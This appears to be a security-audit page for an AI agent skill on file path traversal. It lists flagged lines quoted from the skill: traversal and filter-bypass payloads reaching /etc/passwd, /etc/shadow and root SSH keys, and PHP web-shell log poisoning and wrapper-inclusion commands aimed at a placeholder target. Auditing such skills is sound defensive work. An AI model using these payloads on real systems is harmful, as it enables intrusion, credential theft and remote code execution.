file-path-traversal
Identifies and exploits file path traversal vulnerabilities in web applications, providing detailed reports and remediation guidance.
Install this skill
Security score
The file-path-traversal skill was audited on Mar 9, 2026 and we found 81 security issues across 4 threat categories, including 5 critical. Review the findings below before installing.
Categories Tested
Security Issues
System command execution
| 320 | curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ |
System command execution
| 326 | # First: ssh '<?php system($_GET["cmd"]); ?>'@target.com |
System command execution
| 334 | curl -A "<?php system('id'); ?>" \ |
System command execution
| 338 | curl -A "<?php system(\$_GET['c']); ?>" \ |
System command execution
| 349 | curl -X POST -d "<?php system('id'); ?>" \ |
Curl to non-GitHub URL
| 116 | # Test payloads with curl |
Curl to non-GitHub URL
| 118 | curl "http://target.com/download?file=....//....//....//etc/passwd" |
Curl to non-GitHub URL
| 320 | curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ |
Curl to non-GitHub URL
| 323 | curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" |
Curl to non-GitHub URL
| 327 | curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" |
Curl to non-GitHub URL
| 346 | curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" |
Curl to non-GitHub URL
| 353 | curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" |
Curl to non-GitHub URL
| 356 | curl "http://target.com/page?file=expect://id" |
Access to /etc/passwd
| 103 | ../../../etc/passwd |
Access to /etc/passwd
| 104 | ../../../../etc/passwd |
Access to /etc/passwd
| 105 | ../../../../../etc/passwd |
Access to /etc/passwd
| 106 | ../../../../../../etc/passwd |
Access to /etc/passwd
| 117 | curl "http://target.com/image?filename=../../../etc/passwd" |
Access to /etc/passwd
| 118 | curl "http://target.com/download?file=....//....//....//etc/passwd" |
Access to /etc/passwd
| 125 | /etc/passwd |
Access to /etc/passwd
| 142 | ....//....//....//etc/passwd |
Access to /etc/passwd
| 143 | ....\/....\/....\/etc/passwd |
Access to /etc/passwd
| 146 | ..././..././..././etc/passwd |
Access to /etc/passwd
| 147 | ....//....//etc/passwd |
Access to /etc/passwd
| 151 | %2e%2e/%2e%2e/%2e%2e/etc/passwd |
Access to /etc/passwd
| 159 | ../../../etc/passwd%00.jpg |
Access to /etc/passwd
| 160 | ../../../etc/passwd%00.png |
Access to /etc/passwd
| 163 | ../../../etc/passwd............................... |
Access to /etc/passwd
| 166 | ../../../etc/passwd.jpg.php |
Access to /etc/passwd
| 173 | /var/www/images/../../../etc/passwd |
Access to /etc/passwd
| 176 | images/../../../etc/passwd |
Access to /etc/passwd
| 205 | /etc/passwd # User accounts |
Access to /etc/passwd
| 303 | # Traverse to /etc/passwd |
Access to /etc/passwd
| 368 | ../../../etc/passwd |
Access to /etc/passwd
| 375 | ....//....//....//etc/passwd |
Access to /etc/passwd
| 376 | ..;/..;/..;/etc/passwd |
Access to /etc/passwd
| 379 | /etc/passwd |
Access to /etc/passwd
| 382 | ../../../etc/passwd%00.jpg |
Access to /etc/passwd
| 438 | | `../../../etc/passwd` | Linux password file | |
Access to /etc/passwd
| 440 | | `....//....//....//etc/passwd` | Bypass simple filter | |
Access to /etc/passwd
| 441 | | `/etc/passwd` | Absolute path | |
Access to /etc/passwd
| 448 | | Linux | `/etc/passwd` | User accounts | |
Access to /etc/shadow
| 126 | /etc/shadow |
Access to /etc/shadow
| 206 | /etc/shadow # Password hashes (root only) |
Access to /etc/shadow
| 449 | | Linux | `/etc/shadow` | Password hashes | |
Path traversal to sensitive directory
| 103 | ../../../etc/passwd |
Path traversal to sensitive directory
| 104 | ../../../../etc/passwd |
Path traversal to sensitive directory
| 105 | ../../../../../etc/passwd |
Path traversal to sensitive directory
| 106 | ../../../../../../etc/passwd |
Path traversal to sensitive directory
| 117 | curl "http://target.com/image?filename=../../../etc/passwd" |
Path traversal to sensitive directory
| 159 | ../../../etc/passwd%00.jpg |
Path traversal to sensitive directory
| 160 | ../../../etc/passwd%00.png |
Path traversal to sensitive directory
| 163 | ../../../etc/passwd............................... |
Path traversal to sensitive directory
| 166 | ../../../etc/passwd.jpg.php |
Path traversal to sensitive directory
| 173 | /var/www/images/../../../etc/passwd |
Path traversal to sensitive directory
| 176 | images/../../../etc/passwd |
Path traversal to sensitive directory
| 323 | curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" |
Path traversal to sensitive directory
| 327 | curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" |
Path traversal to sensitive directory
| 368 | ../../../etc/passwd |
Path traversal to sensitive directory
| 382 | ../../../etc/passwd%00.jpg |
Path traversal to sensitive directory
| 438 | | `../../../etc/passwd` | Linux password file | |
Access to root home directory
| 213 | /root/.ssh/id_rsa # Root private key |
Access to root home directory
| 214 | /root/.ssh/authorized_keys # Authorized keys |
Access to SSH directory
| 213 | /root/.ssh/id_rsa # Root private key |
Access to SSH directory
| 214 | /root/.ssh/authorized_keys # Authorized keys |
Access to SSH directory
| 215 | /home/<user>/.ssh/id_rsa # User private keys |
External URL reference
| 117 | curl "http://target.com/image?filename=../../../etc/passwd" |
External URL reference
| 118 | curl "http://target.com/download?file=....//....//....//etc/passwd" |
External URL reference
| 290 | ffuf -u "http://target.com/image?filename=FUZZ" \ |
External URL reference
| 295 | ffuf -u "http://target.com/page?file=FUZZ" \ |
External URL reference
| 306 | "http://target.com/index.php?file=FUZZ" |
External URL reference
| 311 | "http://target.com/load?path=FUZZ" |
External URL reference
| 320 | curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ |
External URL reference
| 323 | curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" |
External URL reference
| 327 | curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" |
External URL reference
| 335 | "http://target.com/page?file=/proc/self/environ" |
External URL reference
| 339 | "http://target.com/page?file=/proc/self/environ&c=whoami" |
External URL reference
| 346 | curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" |
External URL reference
| 350 | "http://target.com/page?file=php://input" |
External URL reference
| 353 | curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" |
External URL reference
| 356 | curl "http://target.com/page?file=expect://id" |